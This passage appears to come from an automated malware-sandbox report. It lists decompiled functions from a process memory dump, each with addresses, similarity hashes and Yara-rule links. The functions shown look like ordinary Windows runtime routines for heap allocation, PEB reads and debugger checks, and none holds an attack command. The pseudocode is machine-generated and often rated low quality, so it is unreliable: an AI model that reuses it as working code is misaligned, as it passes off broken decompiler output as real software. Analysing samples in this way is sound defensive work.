					if(__eflags != 0) {
						L10:
						E034A88F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x033fc577
0x033fc57d
0x033fc581
0x033fc5b5
0x033fc5b9
0x033fc5ce
0x033fc5ce
0x033fc5ca
0x00000000
0x033fc5ca
0x033fc5c4
0x033fc5c8
0x00000000
0x00000000
0x00000000
0x033fc5ad
0x00000000
0x033fc5af

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b56b6569eb99894a32b3f6d0586c269b3c7e2a8f83628eaba6c984b0f2617c4
Instruction ID: 1273976759ec92d71d1ea484a1e8f8881646e073d98eccceededa27c66e1d899
Opcode Fuzzy Hash: 2b56b6569eb99894a32b3f6d0586c269b3c7e2a8f83628eaba6c984b0f2617c4
Instruction Fuzzy Hash: 2BF090B2D956A89ED731C76A88C4B31BBE89B05770FC864ABD60D8B642C6A4DC84C250

Uniqueness

Uniqueness Score: -1.00%

Function 0341927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0341927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L033F4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E0341FA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E034192C6(_t11, _t14);
				}
				return _t11;
			}

0x03419295
0x03419299
0x0341929f
0x034192aa
0x034192ad
0x034192ae
0x034192af
0x034192b0
0x034192b4
0x034192bb
0x034192bb
0x034192c5

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: d686d443630f0229d6441b6e527b70ed50daba9e9701dec16a0d4be2f07f468c
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: 39E0E532240A002BD721DE06CC80B037669DF82720F04407DF5041E242C6E9D91987A4

Uniqueness

Uniqueness Score: -1.00%

Function 034A8D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E034A8D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x34cd360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E033F7D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E0341B640(E03419AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x034a8d34
0x034a8d43
0x034a8d4b
0x034a8d4e
0x034a8d52
0x034a8d5c
0x034a8d6e
0x034a8d5e
0x034a8d67
0x034a8d67
0x034a8d79
0x034a8d7a
0x034a8d7c
0x034a8d81
0x034a8d94

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5b05f3942493b6c59edfb4ec7e8ec768fa5dd88d6dd07d28c9e5d989e4be198
Instruction ID: 7ae3070f36e377734800795087a58ad170368c4e6c0f795390a7165080bb1325
Opcode Fuzzy Hash: d5b05f3942493b6c59edfb4ec7e8ec768fa5dd88d6dd07d28c9e5d989e4be198
Instruction Fuzzy Hash: EAF09074E14B089FCB04EBA9D441A6EB7B4EF18200F5080AAE905AF290DA34D900C758

Uniqueness

Uniqueness Score: -1.00%

Function 03492073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E03492073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E0348FD22(__ecx);
				_t19 =  *0x34c849c - _t3; // 0x0
				if(_t19 == 0) {
					__eflags = _t17 -  *0x34c8748; // 0x0
					if(__eflags <= 0) {
						E03491C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x34c8724 & 0x00000004;
							if(( *0x34c8724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x34c8724; // 0x0
					return E03488DF1(__ebx, 0xc0000374, 0x34c5890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x03492076
0x03492078
0x0349207d
0x03492083
0x034920a4
0x034920aa
0x034920ac
0x034920b7
0x034920ba
0x034920bc
0x034920c9
0x034920c9
0x034920d0
0x034920d2
0x00000000
0x034920d2
0x034920be
0x034920c3
0x034920c5
0x034920c7
0x00000000
0x00000000
0x034920c7
0x034920bc
0x034920d4
0x03492085
0x03492085
0x034920a3
0x034920a3

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 467f02d5de88260249ae7c87d0614d968befc09a54c34045ce58c883b50c3907
Instruction ID: 7be90235bb6d1dd2e4658d51a4c85512658b4840a0d3301baef1d8b487e870f0
Opcode Fuzzy Hash: 467f02d5de88260249ae7c87d0614d968befc09a54c34045ce58c883b50c3907
Instruction Fuzzy Hash: DAF0276A42229C9AEE72FB2534012E73FC4D745110B0F088BD6502F304C5748883CA2C

Uniqueness

Uniqueness Score: -1.00%

Function 034A8B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E034A8B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x34cd360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E033F7D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E0341B640(E03419AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x034a8b67
0x034a8b6f
0x034a8b72
0x034a8b7d
0x034a8b8f
0x034a8b7f
0x034a8b88
0x034a8b88
0x034a8b9a
0x034a8b9b
0x034a8b9d
0x034a8ba2
0x034a8bb5

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f2c9c98d09ad5544a9ab62add93f30f82efe13f20e88c335a473be824d0100e
Instruction ID: 07dccae6516c6cde159bb3d1e9aca98b4a0c31400ebb49e6f36770f0010aa71f
Opcode Fuzzy Hash: 8f2c9c98d09ad5544a9ab62add93f30f82efe13f20e88c335a473be824d0100e
Instruction Fuzzy Hash: 5FF082B4A14658AFDB00EBA9D906E6EB7F4FF04300F44045ABA15EF391EB34D900C798

Uniqueness

Uniqueness Score: -1.00%

Function 033D4F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D4F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E034A88F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E033FC5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x33b1030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x033d4f2e
0x033d4f34
0x033d4f38
0x03430b85
0x03430b85
0x03430b89
0x03430b9a
0x03430b9a
0x03430b9f
0x00000000
0x03430b9f
0x03430b94
0x03430b98
0x00000000
0x00000000
0x00000000
0x03430b98
0x033d4f3e
0x033d4f48
0x00000000
0x033d4f6e
0x00000000
0x033d4f70

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0d1af5a240842eb319b98ee87744f4b88178afbb23217f2652dc77749e6a1d3
Instruction ID: b5054aba3d1a675de5c55ae46f7c57b276520a94b249c84fb887998b6f7866ae
Opcode Fuzzy Hash: c0d1af5a240842eb319b98ee87744f4b88178afbb23217f2652dc77749e6a1d3
Instruction Fuzzy Hash: ABF0BE369256848FD770C799C280B23B7E8AB0A67CF4856A6D4068FA21CB34EC40C648

Uniqueness

Uniqueness Score: -1.00%

Function 033F746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E033F746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E033EEB70(__ecx, 0x34c79a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E034195D0();
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x033f746d
0x033f746d
0x033f746d
0x033f7471
0x033f7488
0x0343f92d
0x033f748e
0x033f7491
0x033f7495
0x0343f937
0x0343f93a
0x0343f94e
0x0343f953
0x0343f956
0x0343f956
0x033f7495
0x00000000
0x033f7488
0x033f7473
0x033f7478
0x033f747d
0x033f7481
0x00000000
0x033f7481
0x033f747d
0x033f747a
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e071397a288fca090ada8f70c1e32d2846b35279251388f2a7b49c3b2ef6ede7
Instruction ID: 5d7e14798936f26df4c1eb470baafbce3361b4c533714c2d5f1988943a56200c
Opcode Fuzzy Hash: e071397a288fca090ada8f70c1e32d2846b35279251388f2a7b49c3b2ef6ede7
Instruction Fuzzy Hash: 68F0E938D14A44AECF01D768C9C0FF9BFB5AF042D0F88025AD6E1AF560E7249842CB99

Uniqueness

Uniqueness Score: -1.00%

Function 034A8CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E034A8CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x34cd360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E033F7D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E0341B640(E03419AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x034a8ce5
0x034a8ced
0x034a8cf0
0x034a8cfb
0x034a8d0d
0x034a8cfd
0x034a8d06
0x034a8d06
0x034a8d18
0x034a8d19
0x034a8d1b
0x034a8d20
0x034a8d33

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f143bca1449d8db75a9906776d3d4690b297bf6da5546bf702d295c5df88d5fd
Instruction ID: 1aeb9f7b70079746f56121149167ab39ab63310b80163213424336e55aa464a2
Opcode Fuzzy Hash: f143bca1449d8db75a9906776d3d4690b297bf6da5546bf702d295c5df88d5fd
Instruction Fuzzy Hash: 76F0E270A04608AFCB00EBA9E845E6E7BB4EF18200F50019AF912EF390EA34D900C758

Uniqueness

Uniqueness Score: -1.00%

Function 0340A44B, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0340A44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x34c7b9c; // 0x0
				_t15 = __ecx;
				_t16 = L033F4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E0341FA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x0340a44b
0x0340a453
0x0340a472
0x0340a476
0x00000000
0x0340a493
0x0340a47a
0x0340a47f
0x0340a486
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d633b0f1732500e43e86eb3aa488566b24c0fa16cbf3ef5c412efe4ae10e879d
Instruction ID: cd8963811079e6811f20c38e3dcecd58e2c47c231e191b9dd25297b031453a86
Opcode Fuzzy Hash: d633b0f1732500e43e86eb3aa488566b24c0fa16cbf3ef5c412efe4ae10e879d
Instruction Fuzzy Hash: FCE09276B41521AFD211DE19AC00F67B3ADDBD4A51F09403AE504DF254D628DD12C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 033DF358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E033DF358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E0340F3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L033F4620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x033df35d
0x033df361
0x033df367
0x033df372
0x033df38c
0x033df38c
0x033df394

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: 1b2e712c8a1015fbfbb631f690d6e2770bc45873ba70c4c068d16ff8eccbd5d6
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: D6E0D833A41218BFCB31D7D9AD45F5BBBACDB44A60F050165B904DB550D5749E00C3D0

Uniqueness

Uniqueness Score: -1.00%

Function 033EFF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033EFF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x33b11a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E034A88F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E033F0050(_t14);
				}
			}

0x033eff66
0x033eff6b
0x00000000
0x033eff8f
0x00000000
0x033eff8f

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e43ac35f8ec52faf8bcf535d0fbc98b889be5c41836038ac6fa621f7870813d
Instruction ID: 95fd765652ce218aae28bb90e19d1937ea6430b6430f67f30f920bda45f727bf
Opcode Fuzzy Hash: 3e43ac35f8ec52faf8bcf535d0fbc98b889be5c41836038ac6fa621f7870813d
Instruction Fuzzy Hash: 2BE0DFB46053549FDB34DBD6D9D0F257BACDF46621F1F829EE0084B682D661D882C20A

Uniqueness

Uniqueness Score: -1.00%

Function 0348D380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0348D380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L033DE8B0(__ecx, _a4, 0xfff);
					L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x0348d38a
0x0348d39b
0x0348d3b1
0x00000000
0x0348d3b6
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: ef1117024fce88c97410177a1702c4d5a8015d295510c2adf03a5703fec5fab3
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 11E08C36681344BBDB22AA44CC00BA97A1A9B41BA1F104032BE085EA90C671AC92D6C8

Uniqueness

Uniqueness Score: -1.00%

Function 034641E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E034641E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x34b08f0);
				_t5 = E0342D08C(__ebx, __edi, __esi);
				if( *0x34c87ec == 0) {
					E033EEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x34c87ec == 0) {
						 *0x34c87f0 = 0x34c87ec;
						 *0x34c87ec = 0x34c87ec;
						 *0x34c87e8 = 0x34c87e4;
						 *0x34c87e4 = 0x34c87e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L03464248();
				}
				return E0342D0D1(_t5);
			}

0x034641e8
0x034641ea
0x034641ef
0x034641fb
0x03464206
0x0346420b
0x03464216
0x0346421d
0x03464222
0x0346422c
0x03464231
0x03464231
0x03464236
0x0346423d
0x0346423d
0x03464247

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df7b303dba5f9e80b28262ad41f35e97b8484d66221dec41010ca305b9ab86e9
Instruction ID: 01e5ef1d825407a79cd307f7537daa835a60c7592946365195f62a0724a78dca
Opcode Fuzzy Hash: df7b303dba5f9e80b28262ad41f35e97b8484d66221dec41010ca305b9ab86e9
Instruction Fuzzy Hash: BFF01E78832724CECBE0EFAAD904718BAF8F784361F61416B8011AF398E7344580CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 0340A185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0340A185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x34c67e4 >= 0xa) {
					if(_t5 < 0x34c6800 || _t5 >= 0x34c6900) {
						return L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E033F0010(0x34c67e0, _t5);
				}
			}

0x0340a190
0x0340a1a6
0x0340a1c2
0x00000000
0x00000000
0x00000000
0x0340a192
0x0340a192
0x0340a19f
0x0340a19f

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec98f262a328b824f1f5afb2f68016e65b648982d2aa0e9a97ea025d823d9cd9
Instruction ID: 35e3e4394ee223991da5656abcf8694184624fb384ad2bcf2d456a21621ba46d
Opcode Fuzzy Hash: ec98f262a328b824f1f5afb2f68016e65b648982d2aa0e9a97ea025d823d9cd9
Instruction Fuzzy Hash: 1DD02B25A322441EC71CE308CE54B21B212E788700F39881FF2030E6D4DB7C88D4811C

Uniqueness

Uniqueness Score: -1.00%

Function 034016E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E034016E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E03401710(0x34c67e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L033F4620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x034016e8
0x034016ef
0x034016f3
0x034016fe
0x00000000
0x03401700
0x0340170d
0x0340170d
0x034016f2
0x034016f2
0x034016f2
0x034016f2

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c77e93aefa2edb9b75037c079335a5263195836314da9ed39da71cec9fe6f67b
Instruction ID: 061b329244336a3b1a06ef9fc24da460c0e88b95f411b97c2ada160e5e0956cb
Opcode Fuzzy Hash: c77e93aefa2edb9b75037c079335a5263195836314da9ed39da71cec9fe6f67b
Instruction Fuzzy Hash: 3AD05E392012409ADA2DDA159C44B1A7251AB80781F3C046EB2064D5D0CFB4C992E04C

Uniqueness

Uniqueness Score: -1.00%

Function 033EAAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033EAAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x033eaab6
0x033eaabb
0x0343a442
0x00000000
0x0343a448
0x0343a454
0x0343a454
0x033eaac1
0x033eaac1
0x033eaac6
0x033eaac6

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 75748246199ef45e5ad2c7aff657c005b0762785f64173889ac12131beb5ca6b
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: D6D0E935352A90CFD616CB1DC994B1673A8BB45B44FC904D0E541CB761E63CD954CA04

Uniqueness

Uniqueness Score: -1.00%

Function 034035A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E034035A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E033EEB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x034035a1
0x034035a1
0x034035a5
0x034035ab
0x034035ab
0x034035b5
0x00000000
0x034035c1
0x034035b7

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: b8e4ad3bdb637e7cfe41c4929b5533b7b44baba79022d2bd6607b4d3e0a66cb2
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: DBD0A73DA01580DDDB83EF90C1247697B75BB00204F5C10F780010D6F1C335490AD608

Uniqueness

Uniqueness Score: -1.00%

Function 033DDB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033DDB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L033F4620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x033ddb4d
0x033ddb54
0x033ddb5f
0x033ddb56
0x033ddb56
0x033ddb5c
0x033ddb5c

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
